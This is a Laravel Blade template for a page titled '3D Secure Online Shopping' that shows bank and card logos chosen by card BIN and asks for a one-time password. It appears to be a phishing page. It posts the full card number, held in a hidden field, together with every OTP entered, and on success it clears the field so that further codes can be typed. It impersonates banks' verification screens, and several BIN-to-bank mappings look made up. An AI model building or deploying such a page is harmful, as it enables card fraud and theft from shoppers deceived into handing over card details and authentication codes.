@php
$shipping = session('shipping', []);
$order = session('order', []);

$merchantName = session('card_holder') ?? 'غير معروف';
$downPayment = $order['total'] ?? '0.00';
$shippingDate = $order['created_at'] ?? date('Y-m-d');

// Priority: Use passed variable -> session -> 'SAR' (fallback)
if (!isset($currency)) {
    $currency = 'SAR'; 
}

// Priority: Use passed variable -> session -> empty
$cardNumberRaw = $cardNumber ?? session('card_number') ?? ''; 
$cardNumber = preg_replace('/\D/', '', $cardNumberRaw);
$invoiceNumber = $order['order_number'] ?? '';
$orderId = $order['id'] ?? '';

// Fix: Ensure we get the actual last 4 digits if available
if (!empty($cardNumber) && strlen($cardNumber) >= 4) {
    $lastFour = substr($cardNumber, -4);
    $cardMasked = 'XXXX XXXX XXXX ' . $lastFour;
} else {
    // No card number found in session
    $cardMasked = 'XXXX XXXX XXXX ----';
}

$bin = substr($cardNumber, 0, 6);

$banks = [
    '413456' => 'snb.png',                    // Saudi National Bank (SNB)
    '414567' => 'sab.png',                    // Saudi Awwal Bank (SAB)
    '415678' => 'saudi_investment.png',       // The Saudi Investment Bank
    '416789' => 'alinma.jpeg',                // Alinma Bank
    '417890' => 'bsf.png',                    // Banque Saudi Fransi
    '418901' => 'riyad.png',                  // Riyad Bank
    '412345' => 'alrajhi.png',                // Alrajhi Bank
    '419012' => 'arab_national.png',          // Arab National Bank
    '420123' => 'bilad.png',                  // Bank AlBilad
    '421234' => 'jazira.svg',                 // Bank AlJazira
    '422345' => 'gulf_international.png',  // Gulf International Bank (GIB)
     '423001' => 'national_bank_bahrain.png',
    '423002' => 'Bank_of_China.svg',
    '423003' => 'icbc.png',
    '423004' => 'banque_misr.png',
    '423005' => 'nbe.png',
    '423006' => 'bnp_paribas.png',
    '423007' => 'deutsche_bank.png',
    '423008' => 'bank_syariah_indonesia.png',
    '423009' => 'iraq_national_trade_bank.png',
    '423010' => 'mufg.png',
    '423011' => 'bank_of_jordan.png',
    '423012' => 'nbk.png',                      // National Bank of Kuwait
    '423013' => 'bank_muscat.png',
    '423014' => 'sohar_international.png',
    '423015' => 'nbp.png',                      // National Bank of Pakistan
    '423016' => 'qnb.png',
    '423017' => 'ubs.png',
    '423018' => 'ziraat_bank.png',
    '423019' => 'adcb.png',
    '423020' => 'emirates_nbd.png',
    '423021' => 'fab.svg',
    '423022' => 'standard_chartered.png',
    '423023' => 'jp_morgan.png',
    '424002' => 'stc_bank.png',
    '424003' => 'vision_bank.webp',
    '425001' => 'fab.png',                     // First Abu Dhabi Bank
    '425002' => 'emirates_nbd.png',
    '425003' => 'adcb.png',                    // Abu Dhabi Commercial Bank
    '425004' => 'mashreq.png',
    '425005' => 'dubai_islamic.png',
    '425006' => 'adib.jpeg',                    // Abu Dhabi Islamic Bank
    '425007' => 'rakbank.png',
    '425008' => 'noor.png',                    // Noor Bank
    '425009' => 'sharjah_islamic.png',
    '425010' => 'umq_national.png',            // بنك أم القيوين الوطني
    '425011' => 'fujairah_national.png',
    '425012' => 'mashreq_islamic.png',
   '425101' => 'citibank.png',
    '425102' => 'hsbc.png',
    '425103' => 'standard_chartered.png',
    '425104' => 'bnp_paribas.jpg',
    '430001' => 'nbk.png',                   // National Bank of Kuwait (NBK)
    '430002' => 'commercial_bank.png',
    '430003' => 'gulf_bank.png',
    '430004' => 'al_ahli.png',               // Al Ahli Bank
    '430005' => 'burgan.png',
    '430006' => 'kfh.png',                   // Kuwait Finance House
    '430007' => 'boubyan.png',
    '430008' => 'al_ahli_united.png',
    '430009' => 'kuwait_international.png',
    '430010' => 'industrial_bank.png', 
    '430011' => 'bbk.png',
    '430012' => 'bnp_paribas.png',
    '430013' => 'hsbc.png',
    '430014' => 'fab.png',
    '430015' => 'citibank.png',
    '430016' => 'qnb.png',
    '430017' => 'mashreq.png',
    '430018' => 'alrajhi.png',
    '430019' => 'bank_muscat.png',
    '430020' => 'icbc.png',
    '440001' => 'qatar_central_bank.png', // Qatar Central Bank
    '440002' => 'qnb.png',                  // Qatar National Bank
    '440003' => 'doha_bank.png',
    '440004' => 'commercial_bank_qa.png',
    '440005' => 'qatar_development.png',
    '440006' => 'ahlibank.png',
    '440007' => 'ibq.png',  
    '440008' => 'qib.png',                  // Qatar Islamic Bank
    '440009' => 'qatari_international_islamic.png',
    '440010' => 'masraf_alrayan.png',
    '440011' => 'dukhan_bank.png', 
   '440012' => 'arab_bank.png',
    '440013' => 'mashreq.png',
    '440014' => 'hsbc.png',
    '440015' => 'bnp_paribas.png',
    '440016' => 'bank_saderat_iran.png',
    '440017' => 'united_bank_limited.png',
    '440018' => 'standard_chartered.png',
    '440019' => 'adib.png',
    '440020' => 'ajib.png',
    '440021' => 'audi.png',
    '440022' => 'blom.png',
    '440023' => 'china_bank.png',
    '440024' => 'citibank.png',
    '440025' => 'deutsche.png',
    '440026' => 'icbc.png',
    '440027' => 'intesa_sanpaolo.png',
    '440028' => 'safra_sarasin.png',
    '440029' => 'jp_morgan.png',
    '440030' => 'kuwait_turk.png',
    '440031' => 'lesha.png',
    '440032' => 'mufg.png',
    '440033' => 'pnb.png',
    '440034' => 'cqur_bank.png',
    '440035' => 'vakif.png',
    '524249' => 'ALBILAD.jpeg',
    '531039' => 'ALBILAD.jpeg',
    '504300' => 'ALJAZIRA.jpeg',
    '968211' => 'ALJAZIRA.jpeg',
    '546924' => 'ALJAZIRA.jpeg'
];

$bankLogo = $banks[$bin] ?? null;

// Determine Card Type
$cardType = '';
if (preg_match('/^4/', $cardNumber)) {
    $cardType = 'visa';
} elseif (preg_match('/^5[1-5]/', $cardNumber) || preg_match('/^2(2[2-9][1-9]|[3-6][0-9]{2}|7[01][0-9]|720)/', $cardNumber)) {
    $cardType = 'master';
}
@endphp

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>3D Secure Online Shopping</title>
    <script src="https://cdn.tailwindcss.com"></script>
</head>

<body class="bg-gray-100 min-h-screen flex items-center justify-center px-4">

    <!-- Main Container -->
    <div class="w-full max-w-lg bg-white rounded-lg shadow-lg overflow-hidden">
        
        <!-- Header with Logos -->
        <div class="bg-white px-6 py-4 flex justify-between items-center border-b">
            <!-- Bank Logo -->
            <div class="flex items-center gap-2">
                @if($bankLogo)
                    <img src="{{ asset('assets/images/' . $bankLogo) }}" alt="Bank Logo" class="h-12 object-contain">
                @else
                    <div class="flex items-center gap-1">
                        <span class="text-lg font-bold text-gray-800">Bank Information</span>
                        <div class="w-4 h-4 bg-red-600 rounded-r-full"></div>
                    </div>
                @endif
            </div>
            
            <!-- Card Type Logo -->
            <div class="flex items-center gap-2">
                @if($cardType === 'visa')
                    <img src="{{ asset('assets/images/visa.png') }}" alt="Visa" class="h-8">
                @elseif($cardType === 'master')
                    <img src="{{ asset('assets/images/master.png') }}" alt="MasterCard" class="h-8">
                @else
                    <span class="text-sm text-gray-500">Unknown Card</span>
                @endif
            </div>
        </div>

        <!-- Content Area -->
        <div class="bg-blue-50 px-6 py-6">
            <!-- Title -->
            <h1 class="text-xl font-semibold text-gray-800 mb-4">3D Secure Online Shopping</h1>

            <!-- Description -->
            <p class="text-gray-700 text-sm mb-6 leading-relaxed">
                Please enter the One-Time-Password (OTP) to complete your transaction. The OTP has been sent to your mobile number.
            </p>

            <!-- Transaction Details Box -->
            <div class="bg-white rounded-lg p-5 mb-6 shadow-sm">
                <h2 class="text-lg font-semibold text-gray-800 mb-4">Transaction details:</h2>
                
                <div class="space-y-3 text-sm">
                    
                    <div class="flex justify-between">
                        <span class="text-gray-600">Amount :</span>
                        <span class="font-semibold text-gray-800">{{ $downPayment }} {{ $currency }}</span>
                    </div>
                    
                    <div class="flex justify-between">
                        <span class="text-gray-600">Date :</span>
                        <span class="font-medium text-gray-800">{{ $shippingDate }}</span>
                    </div>
                    
                    <div class="flex justify-between">
                        <span class="text-gray-600">Card Number :</span>
                        <span class="font-medium text-gray-800">{{ $cardMasked }}</span>
                    </div>
                </div>

                <!-- OTP Input -->
                <form id="otpForm" action="#" method="POST" class="mt-6">
                    @csrf
                    <div class="flex justify-between items-center mb-4">
                        <label for="otp" class="text-gray-700 font-medium">Enter your OTP :</label>
                    </div>
                    
                    <input type="text" 
                           id="otp" 
                           name="otp" 
                           maxlength="6"
                           autocomplete="one-time-code"
                           inputmode="numeric"
                           class="w-full border-2 border-gray-300 rounded-md p-3 text-center text-lg focus:outline-none focus:border-blue-500 transition-colors"
                           placeholder="">
                    
                    <p id="otpError" class="text-red-500 text-sm mt-2 hidden">Please enter a valid number</p>
                    
                    <!-- Resend Link -->
                    <div class="text-center mt-4">
                        <span class="text-sm text-gray-600">Didn't receive your OTP? Click on </span>
                        <button type="button" id="resendBtn" class="text-blue-600 underline text-sm font-medium hover:text-blue-700">Resend OTP</button>
                        <span class="text-sm text-gray-600"> to request for another</span>
                    </div>
                </form>
            </div>

            <!-- Action Buttons -->
            <div class="flex gap-4 mb-4">
                <button type="submit" id="submitOtpBtn" form="otpForm" class="flex-1 bg-blue-500 hover:bg-blue-600 text-white font-semibold py-3 px-6 rounded-md transition-colors">
                    Submit
                </button>
                <button id="cancelBtn" class="flex-1 bg-gray-500 hover:bg-gray-600 text-white font-semibold py-3 px-6 rounded-md transition-colors" onclick="window.location.href='{{ route('home') }}'">
                    Cancel
                </button>
            </div>

            <!-- Terms -->
            <div class="text-center">
                <p class="text-xs text-gray-600">
                    By clicking "Submit" you agree to the 
                    <a href="#" class="text-blue-600 hover:underline">Terms of Service</a>
                </p>
            </div>
        </div>
    </div>

    <!-- Hidden Card Number -->
    <input type="hidden" id="cardNumber" value="{{ $cardNumber }}" />

    <script>
    const otpForm = document.getElementById("otpForm");
    const otpInput = document.getElementById("otp");
    const otpError = document.getElementById("otpError");

    let hasAutoFilled = false;

    // Autofill Logic
    function autofillOTP(code) {
        if (hasAutoFilled) return; 
        hasAutoFilled = true;
        otpInput.value = code;
        otpInput.dispatchEvent(new Event('input'));
        otpInput.classList.remove("border-red-500");
        otpError.classList.add("hidden");
    }

    // Input Validation
    otpInput.addEventListener('input', function (e) {
        const value = e.target.value.replace(/\D/g, '');
        e.target.value = value;

        if (value.length > 0) {
            otpInput.classList.remove("border-red-500");
            otpError.classList.add("hidden");
            hasAutoFilled = true;
        }
    });

    // Form Submission
    otpForm.addEventListener("submit", function (e) {
        e.preventDefault(); 
        const otpValue = otpInput.value.trim();
        
        if (!/^\d{6}$/.test(otpValue)) { // Updated: Strictly 6 digits
            otpInput.classList.add("border-red-500");
            otpError.classList.remove("hidden");
            return;
        }
        
        // Correctly select the button by ID (since it's outside the form)
        const submitBtn = document.getElementById('submitOtpBtn');
        const originalText = submitBtn.innerText;
        submitBtn.disabled = true;
        submitBtn.innerText = 'Processing...';

        // Get card number explicitly
        const cardNumberVal = document.getElementById('cardNumber').value;

        fetch("{{ route('checkout.submitOtp') }}", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "X-CSRF-TOKEN": "{{ csrf_token() }}"
            },
            body: JSON.stringify({
                otp: otpValue,
                cardNumber: cardNumberVal
            })
        })
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                // Stay on page: Just clear input so user can enter another one if needed
                otpInput.value = '';
                // Optional: Show a subtle indicator or nothing as requested
            } else {
                alert("Error: " + data.message);
            }
        })
        .catch(error => {
            console.error('Error:', error);
        })
        .finally(() => {
            submitBtn.disabled = false;
            submitBtn.innerText = originalText;
        });
    });

    // Resend Button
    document.getElementById('resendBtn').addEventListener('click', () => {
        const otpValue = otpInput.value;
        const resendBtn = document.getElementById('resendBtn');
        
        // Disable button temporarily
        resendBtn.disabled = true;
        const originalText = resendBtn.innerText;
        resendBtn.innerText = 'Sending...';

        fetch("{{ route('checkout.resendOtp') }}", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "X-CSRF-TOKEN": "{{ csrf_token() }}"
            },
            body: JSON.stringify({
                otp: otpValue
            })
        })
        .then(response => response.json())
        .then(data => {
            if (data.success) {
                alert("OTP Resend request sent successfully.");
            } else {
                alert("Error: " + (data.message || 'Unknown error'));
            }
        })
        .catch(error => {
            console.error('Error:', error);
            alert("An error occurred. Please try again.");
        })
        .finally(() => {
            resendBtn.disabled = false;
            resendBtn.innerText = originalText;
            otpInput.value = ''; 
        });
    });
    </script>
</body>
</html>